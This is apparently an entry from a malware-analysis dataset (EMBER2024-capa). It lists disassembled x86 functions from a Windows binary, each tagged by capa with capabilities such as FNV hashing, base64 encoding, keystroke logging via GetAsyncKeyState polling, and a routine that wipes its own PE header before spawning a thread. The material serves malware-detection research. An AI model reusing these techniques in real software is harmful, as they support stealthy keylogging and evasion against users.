joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1002a640
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x1012d6dd
push eax
mov dword fs:[0], esp
push ebx
sub esp, 0x48
push esi
mov esi, dword [ebx + 8]
push edi
mov edi, esi
cmp dword [esi + 0x14], 0xf
jbe 0x1002a67e
mov edi, dword [esi]
xor ecx, ecx
mov edx, 0x811c9dc5
cmp dword [esi + 0x10], ecx
jbe 0x1002a6a2
nop word [eax + eax]
movzx eax, byte [edi + ecx]
inc ecx
xor eax, edx
imul edx, eax, 0x1000193
cmp ecx, dword [esi + 0x10]
jb 0x1002a690
push edx
push esi
lea eax, [ebp - 0x34]
push eax
call fcn.1002c370
cmp dword [eax + 4], 0
jne 0x1002a6ba
xor al, al
jmp 0x1002a805
push esi
lea eax, [ebp - 0x3c]
push eax
call fcn.1002be60
mov esi, dword [ebx + 0xc]
push 8
mov eax, dword [eax]
mov edi, dword [esi + 0xc]
mov dword [ebp - 0x28], eax
mov eax, dword [esi + 0x10]
add eax, edi
mov dword [ebp - 0x58], 0
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x11]
mov dword [ebp - 0x54], 0
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x30], eax
call fcn.1012ae34
mov dword [ebp - 0x34], eax
lea ecx, [ebp - 0x58]
add esp, 4
mov dword [eax], ecx
mov dword [eax + 4], 0
mov dword [ebp - 0x58], eax
mov eax, ecx
mov dword [ebp - 4], 0
mov dword [ebp - 0x2c], eax
mov byte [ebp - 4], 1
cmp edi, dword [ebp - 0x18]
je 0x1002a7c6
mov edx, dword [ebp - 0x48]
mov ecx, dword [esi + 8]
mov eax, dword [esi + 4]
dec ecx
mov esi, dword [ebp - 0x50]
and ecx, edi
mov eax, dword [eax + ecx*4]
mov dword [ebp - 0x24], eax
lea eax, [edx + 1]
cmp esi, eax
ja 0x1002a760
push ecx
lea ecx, [ebp - 0x58]
call fcn.1002db60
mov edx, dword [ebp - 0x48]
mov esi, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x4c]
lea eax, [esi - 1]
and ecx, eax
lea eax, [esi - 1]
mov dword [ebp - 0x4c], ecx
add ecx, edx
and eax, ecx
mov dword [ebp - 0x20], ecx
lea ecx, [eax*4]
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x1c], ecx
cmp dword [ecx + eax], 0
jne 0x1002a7a1
push 0x18
call fcn.1012ae34
mov ecx, dword [ebp - 0x54]
add esp, 4
mov edx, dword [ebp - 0x1c]
mov dword [edx + ecx], eax
mov esi, dword [ebp - 0x50]
mov eax, dword [ebp - 0x54]
push dword [ebp - 0x24]
lea ecx, [esi - 1]
and ecx, dword [ebp - 0x20]
mov ecx, dword [eax + ecx*4]
call fcn.1002ba30
mov edx, dword [ebp - 0x48]
inc edi
mov esi, dword [ebx + 0xc]
inc edx
mov dword [ebp - 0x48], edx
cmp edi, dword [ebp - 0x18]
jne 0x1002a738
mov ecx, dword [ebp - 0x28]
mov dword [ebp - 4], 2
mov ecx, dword [ecx + 0x44]
test ecx, ecx
jne 0x1002a7dd
call dword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xbad_function_call_void_]
mov eax, dword [ecx]
lea edx, [ebp - 0x58]
push edx
call dword [eax + 8]
lea ecx, [ebp - 0x58]
call fcn.1002bb20
mov eax, dword [ebp - 0x58]
push 8
push eax
mov dword [ebp - 0x58], 0
call fcn.1012b183
add esp, 8
mov al, 1
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret 8
Function at 0x1002b930
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, dword [ebp + 8]
xor ecx, ecx
push esi
push edi
mov edx, 0x811c9dc5
mov esi, dword [eax + 4]
mov edi, dword [eax]
test esi, esi
je 0x1002b961
nop dword [eax + eax]
movzx eax, byte [edi + ecx]
inc ecx
xor eax, edx
imul edx, eax, 0x1000193
cmp ecx, esi
jb 0x1002b950
pop edi
mov eax, edx
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x1002be60
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x1012d805
push eax
mov dword fs:[0], esp
sub esp, 0x10
push ebx
mov ebx, dword [ebp + 0xc]
mov edx, ebx
push esi
push edi
cmp dword [ebx + 0x14], 0xf
mov edi, dword [ebx + 0x10]
jbe 0x1002be8e
mov edx, dword [ebx]
xor ecx, ecx
mov esi, 0x811c9dc5
test edi, edi
je 0x1002beb1
nop dword [eax]
movzx eax, byte [edx + ecx]
inc ecx
xor eax, esi
imul esi, eax, 0x1000193
cmp ecx, edi
jb 0x1002bea0
push esi
push ebx
lea eax, [ebp - 0x14]
push eax
call fcn.1002c370
mov ecx, dword [ebp - 0x10]
test ecx, ecx
je 0x1002bedf
mov eax, dword [ebp + 8]
mov dword [eax], ecx
mov byte [eax + 4], 0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
cmp dword [0x101d313c], 0x38e38e3
jne 0x1002bef6
push str.unordered_map_set_too_long
call dword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xlength_error_char_const__]
mov dword [ebp - 0x1c], 0x101d3138
mov dword [ebp - 4], 0
push 0x48
mov dword [ebp - 0x18], 0
call fcn.1012ae34
mov edi, eax
add esp, 4
mov dword [ebp - 0x18], edi
lea ecx, [edi + 8]
push ebx
call fcn.1002ba30
mov dword [edi + 0x44], 0
mov dword [ebp - 4], 1
mov edx, dword [0x101d313c]
mov ebx, dword [0x101d3150]
lea eax, [edx + 1]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
shr eax, 0x1f
addsd xmm0, qword [eax*8 + 0x101bf240]
mov eax, ebx
shr eax, 0x1f
cvtpd2ps xmm3, xmm0
movd xmm0, ebx
cvtdq2pd xmm0, xmm0
movaps xmm2, xmm3
addsd xmm0, qword [eax*8 + 0x101bf240]
cvtpd2ps xmm1, xmm0
movss xmm0, dword [0x101d3134]
divss xmm2, xmm1
comiss xmm2, xmm0
jbe 0x1002bfd4
divss xmm3, xmm0
movaps xmm0, xmm3
call fcn.10011700
call fcn.1012c2f0
mov ecx, 8
cmp eax, ecx
cmova ecx, eax
cmp ebx, ecx
jae 0x1002bfb6
cmp ebx, 0x200
jae 0x1002bfb4
shl ebx, 3
cmp ebx, ecx
jae 0x1002bfb6
mov ebx, ecx
push ebx
call fcn.1002c180
push esi
lea eax, [edi + 8]
push eax
lea eax, [ebp - 0x1c]
push eax
call fcn.1002c370
mov edx, dword [0x101d313c]
mov ecx, dword [eax]
jmp 0x1002bfd7
mov ecx, dword [ebp - 0x14]
mov ebx, dword [ecx + 4]
inc edx
mov dword [0x101d313c], edx
mov dword [edi], ecx
mov dword [edi + 4], ebx
mov dword [ebx], edi
mov dword [ecx + 4], edi
and esi, dword [0x101d314c]
mov eax, dword [0x101d3140]
mov edx, dword [eax + esi*8]
cmp edx, dword [0x101d3138]
jne 0x1002c006
mov dword [eax + esi*8], edi
jmp 0x1002c015
cmp edx, ecx
jne 0x1002c00f
mov dword [eax + esi*8], edi
jmp 0x1002c019
cmp dword [eax + esi*8 + 4], ebx
jne 0x1002c019
mov dword [eax + esi*8 + 4], edi
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword [eax], edi
pop edi
pop esi
mov byte [eax + 4], 1
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x10031140
Capabilities:
Hash data using fnv

Disassembly:
mov al, byte [ecx]
test al, al
jne 0x10031149
mov eax, edx
ret
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
inc ecx
jmp fcn.10031140

Function at 0x10034160
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword fs:[0x2c]
mov ecx, dword [0x101d5a74]
mov ecx, dword [eax + ecx*4]
mov eax, dword [0x1028c388]
cmp eax, dword [ecx + 4]
jle 0x100341b7
push 0x1028c388
call fcn.1012b230
add esp, 4
cmp dword [0x1028c388], 0xffffffff
jne 0x100341b7
push 0x1028c388
mov dword [0x1028c384], 0
mov dword [0x1028c380], 0x101cf13c
call fcn.1012b1df
add esp, 4
cmp byte [0x101d5dcd], 0
jne 0x10034236
cmp byte [0x101d5dce], 0
jne 0x10034236
cmp byte [0x101d5dcc], 0
jne 0x10034236
mov eax, dword [0x101d5dd0]
cmp eax, dword [0x101cf130]
jl 0x10034236
cmp dword [0x101d60a8], 0
je 0x100341f1
cmp byte [0x101d6098], 0
jne 0x10034236
cmp byte [0x101d5f00], 0
jne 0x10034236
mov eax, dword [0x101d609c]
sub eax, 0
je 0x1003423d
sub eax, 2
je 0x1003420e
sub eax, 1
jmp 0x10034268
mov eax, dword [0x1028c380]
mov eax, dword [eax]
test eax, eax
jne 0x10034220
mov dword [0x1028c384], eax
jmp 0x1003426a
push eax
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
shr eax, 0xf
and al, 1
movzx eax, al
mov dword [0x1028c384], eax
je 0x1003426a
xor al, al
pop ecx
pop ebp
ret 4
mov eax, dword [0x1028c380]
mov eax, dword [eax]
test eax, eax
jne 0x10034254
mov dword [0x1028c384], eax
xor al, al
pop ecx
pop ebp
ret 4
push eax
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
shr eax, 0xf
and al, 1
movzx eax, al
mov dword [0x1028c384], eax
je 0x10034236
cmp byte [0x101d6091], 0
je 0x10034280
mov ecx, dword [ebp + 8]
call fcn.10014740
pop ecx
pop ebp
ret 4
mov al, 1
pop ecx
pop ebp
ret 4
Function at 0x10034c40
Capabilities:
Encode data using base64

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1012dc0d
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ebx
sub esp, 0x28
push esi
push edi
mov edi, ecx
mov esi, edx
mov ecx, dword [ebx + 8]
mov eax, 0xaaaaaaab
mov dword [ebp - 0x18], edi
xorps xmm0, xmm0
lea edx, [ecx + 2]
mul edx
shr edx, 1
shl edx, 2
cmp edx, ecx
jae 0x10034cb8
movups xmmword [edi], xmm0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0xf
mov byte [edi], 0
jmp 0x10034ded
movups xmmword [ebp - 0x38], xmm0
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x24], 0xf
mov byte [ebp - 0x38], 0
push ecx
push edx
lea ecx, [ebp - 0x38]
mov dword [ebp - 4], 0
call fcn.100329d0
mov ecx, dword [ebx + 8]
lea eax, [ebp - 0x38]
cmp dword [ebp - 0x24], 0xf
cmova eax, dword [ebp - 0x38]
lea edx, [esi + ecx]
mov dword [ebp - 0x1c], edx
cmp ecx, 3
jl 0x10034d6b
mov edi, ecx
nop word [eax + eax]
movzx ecx, byte [esi]
sub edi, 3
shr ecx, 2
movzx ecx, byte [ecx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [eax], cl
inc eax
movzx edx, byte [esi]
movzx ecx, byte [esi + 1]
and edx, 3
shr ecx, 4
shl edx, 4
or edx, ecx
movzx ecx, byte [edx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [eax], cl
inc eax
movzx edx, byte [esi + 1]
movzx ecx, byte [esi + 2]
and edx, 0xf
shr ecx, 6
shl edx, 2
or edx, ecx
movzx ecx, byte [edx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [eax], cl
inc eax
movzx ecx, byte [esi + 2]
add esi, 3
and ecx, 0x3f
movzx ecx, byte [ecx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [eax], cl
inc eax
cmp edi, 3
jge 0x10034d00
mov edi, dword [ebp - 0x18]
mov edx, dword [ebp - 0x1c]
sub edx, esi
je 0x10034dc8
movzx ecx, byte [esi]
shr ecx, 2
mov cl, byte [ecx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [eax], cl
inc eax
cmp edx, 1
jne 0x10034d98
movzx ecx, byte [esi]
and ecx, 3
shl ecx, 4
mov cl, byte [ecx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [eax], cl
mov cl, 0x3d
jmp 0x10034dc1
movzx edx, byte [esi]
movzx ecx, byte [esi + 1]
and edx, 3
shr ecx, 4
shl edx, 4
or edx, ecx
movzx ecx, byte [edx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [eax], cl
movzx ecx, byte [esi + 1]
and ecx, 0xf
mov cl, byte [ecx*4 + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [eax + 1], cl
mov byte [eax + 2], 0x3d
xorps xmm0, xmm0
movups xmmword [edi], xmm0
mov dword [edi + 0x10], 0
movups xmm0, xmmword [ebp - 0x38]
mov dword [edi + 0x14], 0
movups xmmword [edi], xmm0
movq xmm0, qword [ebp - 0x28]
movq qword [edi + 0x10], xmm0
mov ecx, dword [ebp - 0xc]
mov eax, edi
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
Function at 0x10034e10
Capabilities:
Decode data using base64 via dword translation table

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1012df1e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x18
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, ecx
mov dword [ebp - 0x24], esi
mov dword [ebp - 4], 0
mov dword [ebp - 0x1c], 0
push edi
mov edi, edx
mov dword [ebp - 0x18], edi
test eax, eax
je 0x10034e5f
test al, 3
jne 0x10034e58
cmp byte [edi + eax - 1], 0x3d
jne 0x10034e5f
mov edx, 1
jmp 0x10034e61
xor edx, edx
lea ebx, [eax + 3]
mov dword [ebp - 0x14], edx
shr ebx, 2
sub ebx, edx
shl ebx, 2
mov ecx, ebx
mov dword [ebp - 0x20], ebx
shr ecx, 2
push 0
lea eax, [edx + ecx*2]
add eax, ecx
mov ecx, esi
push eax
call fcn.10036ec0
xor edx, edx
mov dword [ebp - 4], 0
mov dword [ebp - 0x1c], 1
test ebx, ebx
je 0x10034f29
dec ebx
add edi, 2
shr ebx, 2
inc ebx
mov dword [ebp - 0x10], ebx
nop dword [eax]
movzx eax, byte [edi - 2]
mov ebx, esi
mov ecx, dword [eax*4 + 0x1015a2e0]
movzx eax, byte [edi - 1]
shl ecx, 6
or ecx, dword [eax*4 + 0x1015a2e0]
movzx eax, byte [edi]
shl ecx, 6
or ecx, dword [eax*4 + 0x1015a2e0]
movzx eax, byte [edi + 1]
shl ecx, 6
or ecx, dword [eax*4 + 0x1015a2e0]
cmp dword [esi + 0x14], 0xf
jbe 0x10034eee
mov ebx, dword [esi]
mov eax, ecx
sar eax, 0x10
mov byte [ebx + edx], al
mov ebx, esi
cmp dword [esi + 0x14], 0xf
jbe 0x10034f00
mov ebx, dword [esi]
mov eax, ecx
sar eax, 8
mov byte [ebx + edx + 1], al
mov eax, esi
cmp dword [esi + 0x14], 0xf
jbe 0x10034f13
mov eax, dword [esi]
mov byte [eax + edx + 2], cl
add edi, 4
add edx, 3
sub dword [ebp - 0x10], 1
jne 0x10034eb0
mov ebx, dword [ebp - 0x20]
mov edi, dword [ebp - 0x18]
cmp dword [ebp - 0x14], 0
je 0x10034fd3
movzx eax, byte [ebx + edi]
mov edx, dword [eax*4 + 0x1015a2e0]
movzx eax, byte [ebx + edi + 1]
mov edi, esi
shl edx, 6
or edx, dword [eax*4 + 0x1015a2e0]
shl edx, 0xc
cmp dword [esi + 0x14], 0xf
jbe 0x10034f5a
mov edi, dword [esi]
mov eax, dword [esi + 0x10]
mov ecx, edx
sar ecx, 0x10
mov byte [eax + edi - 1], cl
lea eax, [ebx + 2]
cmp dword [ebp + 8], eax
jbe 0x10034fd3
mov eax, dword [ebp - 0x18]
mov al, byte [ebx + eax + 2]
cmp al, 0x3d
je 0x10034fd3
mov edi, dword [esi + 0x14]
movzx eax, al
sar edx, 8
mov ecx, dword [eax*4 + 0x1015a2e0]
shl ecx, 6
sar ecx, 8
or cl, dl
mov edx, dword [esi + 0x10]
mov byte [ebp + 8], cl
cmp edx, edi
jae 0x10034fc5
lea eax, [edx + 1]
mov dword [esi + 0x10], eax
mov eax, esi
cmp edi, 0xf
jbe 0x10034faa
mov eax, dword [esi]
pop edi
mov byte [eax + edx], cl
mov byte [eax + edx + 1], 0
mov eax, esi
pop esi
pop ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
push dword [ebp + 8]
push dword [ebp + 8]
push ecx
mov ecx, esi
call fcn.10011230
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x10037510
Capabilities:
Hash data using fnv

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1012e175
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ebx
sub esp, 0x18
push esi
push edi
mov edi, dword [ebx + 0xc]
movzx eax, byte [edi]
xor eax, 0x811c9dc5
imul ecx, eax, 0x1000193
movzx eax, byte [edi + 1]
xor ecx, eax
movzx eax, byte [edi + 2]
imul ecx, ecx, 0x1000193
xor ecx, eax
movzx eax, byte [edi + 3]
imul ecx, ecx, 0x1000193
xor ecx, eax
imul eax, ecx, 0x1000193
push eax
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x1c]
push edi
push eax
call fcn.10037e30
mov ecx, dword [ebp - 0x18]
test ecx, ecx
je 0x10037599
mov eax, dword [ebx + 8]
mov dword [eax], ecx
mov byte [eax + 4], 0
jmp 0x100376fd
cmp dword [0x101d35d8], 0x9249249
jne 0x100375b0
push str.unordered_map_set_too_long
call dword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xlength_error_char_const__]
mov dword [ebp - 0x24], 0x101d35d4
mov dword [ebp - 4], 0
push 0x1c
mov dword [ebp - 0x20], 0
call fcn.1012ae34
mov ecx, dword [edi]
mov esi, eax
xorps xmm0, xmm0
mov dword [ebp - 0x20], esi
add esp, 4
mov dword [esi + 8], ecx
movups xmmword [esi + 0xc], xmm0
mov dword [esi + 0x14], 0
mov dword [esi + 0x10], 0
mov dword [esi + 0xc], 0
mov dword [esi + 0x18], 0
mov dword [ebp - 4], 1
mov ecx, dword [0x101d35d8]
mov edi, dword [0x101d35ec]
lea eax, [ecx + 1]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
shr eax, 0x1f
addsd xmm0, qword [eax*8 + 0x101bf240]
mov eax, edi
shr eax, 0x1f
cvtpd2ps xmm3, xmm0
movd xmm0, edi
cvtdq2pd xmm0, xmm0
movaps xmm2, xmm3
addsd xmm0, qword [eax*8 + 0x101bf240]
cvtpd2ps xmm1, xmm0
movss xmm0, dword [0x101d35d0]
divss xmm2, xmm1
comiss xmm2, xmm0
jbe 0x100376a8
divss xmm3, xmm0
movaps xmm0, xmm3
call fcn.10011700
call fcn.1012c2f0
mov ecx, 8
cmp eax, ecx
cmova ecx, eax
cmp edi, ecx
jae 0x10037688
cmp edi, 0x200
jae 0x10037686
shl edi, 3
cmp edi, ecx
jae 0x10037688
mov edi, ecx
push edi
call fcn.10037740
push dword [ebp - 0x14]
lea eax, [esi + 8]
push eax
lea eax, [ebp - 0x1c]
push eax
call fcn.10037e30
mov ecx, dword [0x101d35d8]
mov edx, dword [eax]
jmp 0x100376ab
mov edx, dword [ebp - 0x1c]
mov edi, dword [edx + 4]
inc ecx
mov dword [0x101d35d8], ecx
mov dword [esi], edx
mov dword [esi + 4], edi
mov dword [edi], esi
mov dword [edx + 4], esi
mov eax, dword [0x101d35e8]
and eax, dword [ebp - 0x14]
mov ecx, dword [0x101d35dc]
mov esi, dword [ecx + eax*8]
cmp esi, dword [0x101d35d4]
mov esi, dword [ebp - 0x20]
jne 0x100376e0
mov dword [ecx + eax*8], esi
jmp 0x100376f0
cmp dword [ecx + eax*8], edx
jne 0x100376ea
mov dword [ecx + eax*8], esi
jmp 0x100376f4
cmp dword [ecx + eax*8 + 4], edi
jne 0x100376f4
mov dword [ecx + eax*8 + 4], esi
mov eax, dword [ebx + 8]
mov dword [eax], esi
mov byte [eax + 4], 1
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret 8
Function at 0x10037740
Capabilities:
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1fffffff
sub esp, 8
bsr ecx, eax
push ebx
push esi
push edi
mov edi, 1
mov eax, edi
shl eax, cl
mov ecx, dword [ebp + 8]
cmp ecx, eax
jbe 0x1003776c
push str.invalid_hash_bucket_count
call dword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xlength_error_char_const__]
lea eax, [ecx - 1]
mov esi, dword [0x101d35d4]
or eax, 1
mov dword [ebp + 8], esi
bsr ecx, eax
push esi
lea ecx, [ecx + 1]
shl edi, cl
mov ecx, 0x101d35dc
lea eax, [edi + edi]
push eax
call fcn.10011000
mov eax, dword [0x101d35d4]
lea ebx, [edi - 1]
mov dword [0x101d35e8], ebx
mov dword [0x101d35ec], edi
mov eax, dword [eax]
mov ecx, eax
cmp eax, esi
je 0x100378a6
movzx edx, byte [eax + 8]
xor edx, 0x811c9dc5
mov ecx, dword [ecx]
imul edi, edx, 0x1000193
movzx edx, byte [eax + 9]
xor edi, edx
movzx edx, byte [eax + 0xa]
imul edi, edi, 0x1000193
xor edi, edx
movzx edx, byte [eax + 0xb]
imul edi, edi, 0x1000193
xor edi, edx
mov edx, dword [0x101d35dc]
imul edi, edi, 0x1000193
and edi, ebx
mov ebx, dword [edx + edi*8]
lea edx, [edx + edi*8]
mov dword [ebp - 4], edx
cmp ebx, esi
jne 0x10037804
mov dword [edx], eax
mov dword [edx + 4], eax
jmp 0x10037871
mov edx, dword [edx + 4]
mov edi, dword [eax + 8]
cmp edi, dword [edx + 8]
jne 0x1003783e
mov edx, dword [edx]
mov dword [ebp - 8], edx
cmp edx, eax
je 0x10037836
mov ebx, dword [eax + 4]
mov esi, dword [ebp - 8]
mov dword [ebx], ecx
mov edi, dword [ecx + 4]
mov dword [edi], edx
mov edx, dword [edx + 4]
mov dword [edx], eax
mov dword [esi + 4], edi
mov esi, dword [ebp + 8]
mov dword [ecx + 4], ebx
mov dword [eax + 4], edx
mov edx, dword [ebp - 4]
mov dword [edx + 4], eax
jmp 0x10037871
cmp ebx, edx
je 0x1003784e
mov edx, dword [edx + 4]
cmp edi, dword [edx + 8]
je 0x10037882
cmp ebx, edx
jne 0x10037842
mov ebx, dword [eax + 4]
mov dword [ebp - 8], ebx
mov dword [ebx], ecx
mov ebx, dword [ecx + 4]
mov dword [ebx], edx
mov edi, dword [edx + 4]
mov dword [edi], eax
mov dword [edx + 4], ebx
mov edx, dword [ebp - 8]
mov dword [ecx + 4], edx
mov edx, dword [ebp - 4]
mov dword [eax + 4], edi
mov dword [edx], eax
mov eax, ecx
cmp ecx, esi
je 0x100378a6
mov ebx, dword [0x101d35e8]
jmp 0x100377b2
mov ebx, dword [eax + 4]
mov edx, dword [edx]
mov dword [ebp - 8], edx
mov esi, edx
mov dword [ebx], ecx
mov edi, dword [ecx + 4]
mov dword [edi], edx
mov edx, dword [edx + 4]
mov dword [edx], eax
mov dword [esi + 4], edi
mov esi, dword [ebp + 8]
mov dword [ecx + 4], ebx
mov dword [eax + 4], edx
jmp 0x10037871
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x10037940
Capabilities:
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
sub esp, 0x18
mov edx, dword [ebp + 8]
push ebx
mov ebx, ecx
cmp edx, eax
je 0x10037a94
mov eax, dword [ebx + 4]
mov dword [ebp - 0x10], eax
mov eax, dword [edx + 4]
mov dword [ebp - 4], eax
movzx eax, byte [edx + 8]
xor eax, 0x811c9dc5
imul ecx, eax, 0x1000193
movzx eax, byte [edx + 9]
push esi
push edi
mov edi, dword [ebx + 0xc]
mov esi, edx
xor ecx, eax
mov dword [ebp - 0x18], edi
movzx eax, byte [edx + 0xa]
imul ecx, ecx, 0x1000193
xor ecx, eax
movzx eax, byte [edx + 0xb]
imul ecx, ecx, 0x1000193
xor ecx, eax
mov eax, dword [ebx + 0x18]
imul ecx, ecx, 0x1000193
and eax, ecx
mov ecx, dword [edi + eax*8]
mov dword [ebp - 0xc], ecx
lea eax, [edi + eax*8]
mov dword [ebp - 8], eax
mov eax, dword [eax + 4]
mov dword [ebp - 0x14], eax
mov eax, esi
mov edi, esi
mov esi, dword [esi]
push 0x1c
push eax
call fcn.1012b183
dec dword [ebx + 8]
add esp, 8
cmp edi, dword [ebp - 0x14]
je 0x100379f9
mov eax, dword [ebp + 0xc]
cmp esi, eax
jne 0x100379b7
mov ecx, dword [ebp - 0xc]
cmp ecx, dword [ebp + 8]
jne 0x10037a8a
mov edx, dword [ebp - 8]
mov ecx, dword [ebp - 4]
pop edi
mov dword [edx], esi
mov dword [ecx], esi
mov dword [esi + 4], ecx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 8]
cmp ecx, dword [ebp + 8]
jne 0x10037a0d
mov eax, dword [ebp - 0x10]
mov ecx, eax
mov dword [edx], eax
jmp 0x10037a10
mov ecx, dword [ebp - 4]
mov eax, dword [ebp + 0xc]
mov dword [edx + 4], ecx
cmp esi, eax
je 0x10037a8a
nop word [eax + eax]
movzx eax, byte [esi + 8]
xor eax, 0x811c9dc5
imul ecx, eax, 0x1000193
movzx eax, byte [esi + 9]
xor ecx, eax
movzx eax, byte [esi + 0xa]
imul ecx, ecx, 0x1000193
xor ecx, eax
movzx eax, byte [esi + 0xb]
imul ecx, ecx, 0x1000193
xor ecx, eax
imul eax, ecx, 0x1000193
mov ecx, dword [ebp - 0x18]
and eax, dword [ebx + 0x18]
lea eax, [ecx + eax*8]
mov dword [ebp + 8], eax
mov eax, dword [eax + 4]
mov dword [ebp - 0x14], eax
mov eax, esi
mov edi, esi
mov esi, dword [esi]
push 0x1c
push eax
call fcn.1012b183
dec dword [ebx + 8]
add esp, 8
mov eax, dword [ebp + 0xc]
cmp edi, dword [ebp - 0x14]
je 0x10037a9b
cmp esi, eax
jne 0x10037a65
mov ecx, dword [ebp + 8]
mov dword [ecx], esi
mov ecx, dword [ebp - 4]
pop edi
mov dword [ecx], esi
mov dword [esi + 4], ecx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [ebp + 8]
mov edx, dword [ebp - 0x10]
mov dword [ecx], edx
mov dword [ecx + 4], edx
cmp esi, eax
jne 0x10037a20
mov ecx, dword [ebp - 4]
pop edi
mov dword [ecx], esi
mov dword [esi + 4], ecx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x1003a530
Capabilities:
Allocate or change rwx memory
Create thread
Parse pe header
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 0xc], 1
jne 0x1003a5ca
push ebx
push 0x1012a000
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov ebx, dword [ebp + 8]
mov eax, 0x5a4d
cmp word [ebx], ax
jne 0x1003a5a3
mov eax, dword [ebx + 0x3c]
shl eax, 6
cmp dword [eax + ebx], 0x4550
jne 0x1003a5a3
movzx eax, word [eax + ebx + 0x14]
test ax, ax
je 0x1003a5a3
push edi
mov edi, eax
mov dword [ebp + 0xc], 0
lea eax, [ebp + 0xc]
push eax
push 0x40
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push edi
push 0
push ebx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp + 0xc]
push eax
push dword [ebp + 0xc]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
push 0
push 0
push ebx
push 0x1003a4b0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop ebx
test eax, eax
je 0x1003a5ca
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
pop ebp
ret 0xc

Function at 0x1003ae70
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword fs:[0x2c]
mov ecx, dword [0x101d5a74]
